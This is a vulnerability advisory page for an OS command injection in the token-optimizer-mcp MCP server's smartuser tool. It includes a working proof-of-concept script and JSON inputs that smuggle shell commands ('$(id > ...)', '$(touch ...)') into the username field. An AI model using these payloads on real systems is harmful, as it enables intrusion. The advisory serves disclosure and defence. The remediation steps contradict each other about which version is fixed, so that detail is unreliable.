CVE-2026-55157: OS Command Injection

Published Aug 14, 2026
·
Updated

Summary

token-optimizer-mcp is vulnerable to OS command injection in the smartuser tool.

The get-user-info operation accepts a user-controlled username argument and later interpolates it into a shell command executed through execAsync():

ts getent passwd "${username}" || grep "^${username}:" /etc/passwd

Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as $(...) and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:

text $(id > /tmp/TOKENOPTIMIZERSMARTUSERID)

and execute arbitrary local commands with the privileges of the user running the MCP server.

This is a CWE-78 OS command injection issue.

Tested version:

text @ooples/token-optimizer-mcp v5.0.1 MCP serverInfo.name: token-optimizer-mcp MCP serverInfo.version: 0.2.0

This issue is not related to the current npm audit dependency advisories. The vulnerability is in token-optimizer-mcp's own tool implementation.

---

Details

The vulnerable code path is in the smartuser implementation.

The username argument is eventually passed into a shell command similar to:

ts const { stdout: passwdOut } = await execAsync( getent passwd "${username}" || grep "^${username}:" /etc/passwd );

The problem is that username is controlled by the MCP tool caller and is inserted into a command string executed by a shell.

Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:

bash "$(id > /tmp/TOKENOPTIMIZERSMARTUSERID)" "id"

Therefore, a malicious username can execute arbitrary commands before getent or grep receives its arguments.

The affected MCP tool call is:

text tool: smartuser operation: get-user-info argument: username

Root cause:

text MCP-controlled username → interpolated into shell command string → executed through execAsync() → shell evaluates $(...) / backticks → arbitrary command execution

---

PoC

The following PoC runs a harmless id command and writes the result to a temporary file under /tmp.

Prerequisites:

text Node.js installed token-optimizer-mcp built from source

Build from source:

bash git clone https://github.com/ooples/token-optimizer-mcp.git cd token-optimizer-mcp npm install npm run build

Run the PoC:

bash cd /path/to/token-optimizer-mcp

ENTRY=dist/server/index.js IDOUT="/tmp/TOKENOPTIMIZERSMARTUSERID$(date +%s)$$" rm -f "$IDOUT"

echo "[] ENTRY=$ENTRY" echo "[] id output file: $IDOUT"

python3 - "$IDOUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/tokenoptimizersmartuserpoc.log import json import sys

idout = sys.argv[1]

This value is inserted into: getent passwd "${username}" || grep "^${username}:" /etc/passwd Command substitution still executes inside double quotes. evilusername = f'$(id > {idout})'

messages = [ { "jsonrpc": "2.0", "id": "init", "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "0" } } }, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} }, { "jsonrpc": "2.0", "id": "poc-smart-user", "method": "tools/call", "params": { "name": "smartuser", "arguments": { "operation": "get-user-info", "username": evilusername, "useCache": False } } } ]

for msg in messages: print(json.dumps(msg), flush=True) PY

sleep 1

if [ -f "$IDOUT" ]; then echo "[VULN CONFIRMED] smartuser command injection executed:" cat "$IDOUT" ls -l "$IDOUT" else echo "[FAIL] smartuser id output file not created" tail -120 /tmp/tokenoptimizersmartuserpoc.log fi

Expected result:

text [VULN CONFIRMED] smartuser command injection executed: uid=1001(<local-user>) gid=1001(<local-user>) groups=... -rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKENOPTIMIZERSMARTUSERID...

In my test, the MCP response also showed that the payload reached the shell command:

text Command failed: getent passwd "$(id > /tmp/TOKENOPTIMIZERSMARTUSERID...)" || grep "^$(id > /tmp/TOKENOPTIMIZERSMARTUSERID...):" /etc/passwd

The file /tmp/TOKENOPTIMIZERSMARTUSERID... was created and contained the output of id, confirming command execution as the MCP server user.

A simpler marker-file variant also works:

json { "operation": "get-user-info", "username": "$(touch /tmp/TOKENOPTIMIZERSMARTUSERPWNED)", "useCache": false }

---

Impact

This is an OS command injection vulnerability.

Any MCP client that can call the smartuser tool can execute arbitrary shell commands through the username argument of the get-user-info operation.

The commands execute with the privileges of the user running the token-optimizer-mcp server.

Confirmed impact:

text execution of id as the MCP server user arbitrary file creation under /tmp through an injected command

Affected Software

1 affected componentFixes available
npm/@ooples/token-optimizer-mcp<5.1.0
5.1.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@ooples/token-optimizer-mcp to a version that resolves this vulnerability.

    Fixed in 5.1.0
  2. Upgrade

    Upgrade @ooples/token-optimizer-mcp to a version that resolves this vulnerability.

    Fixed in v5.0.1
  3. Configuration

    Modify the smart_user implementation so the `username` input is never interpolated into a shell command string; if changing code is not immediately possible, strictly validate the `username` to reject payloads containing `$(`, `)`, and backticks before calling the code path that runs `getent passwd "${username}" || grep "^${username}:" /etc/passwd`.

    token-optimizer-mcp (smart_user tool / get-user-info operation) username handling = Sanitize/validate to prevent shell command substitution (e.g., block/escape `$()` and backticks) before interpolation into the shell command executed via execAsync().
  4. Compensating control

    Do not allow untrusted MCP clients/users to call the token-optimizer-mcp `smart_user` tool (the `get-user-info` operation), since the `username` argument is evaluated via shell command substitution (e.g., $(...) within double quotes).

Event History

Aug 14, 2026
Advisory Published
via GitHub·09:42 PM
Data Sourced
via GitHub·09:42 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-55157?

CVE-2026-55157 has a severity rating of 8.4, indicating a high risk level.

2

How do I fix CVE-2026-55157?

To mitigate CVE-2026-55157, update the `token-optimizer-mcp` package to version 5.1.0 or later.

3

What type of vulnerability is CVE-2026-55157?

CVE-2026-55157 is an OS command injection vulnerability affecting the `smart_user` tool.

4

What is the impact of CVE-2026-55157?

CVE-2026-55157 can lead to unauthorized access to sensitive information through command execution.

5

What software is affected by CVE-2026-55157?

CVE-2026-55157 affects the `npm/@ooples/token-optimizer-mcp` software package.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203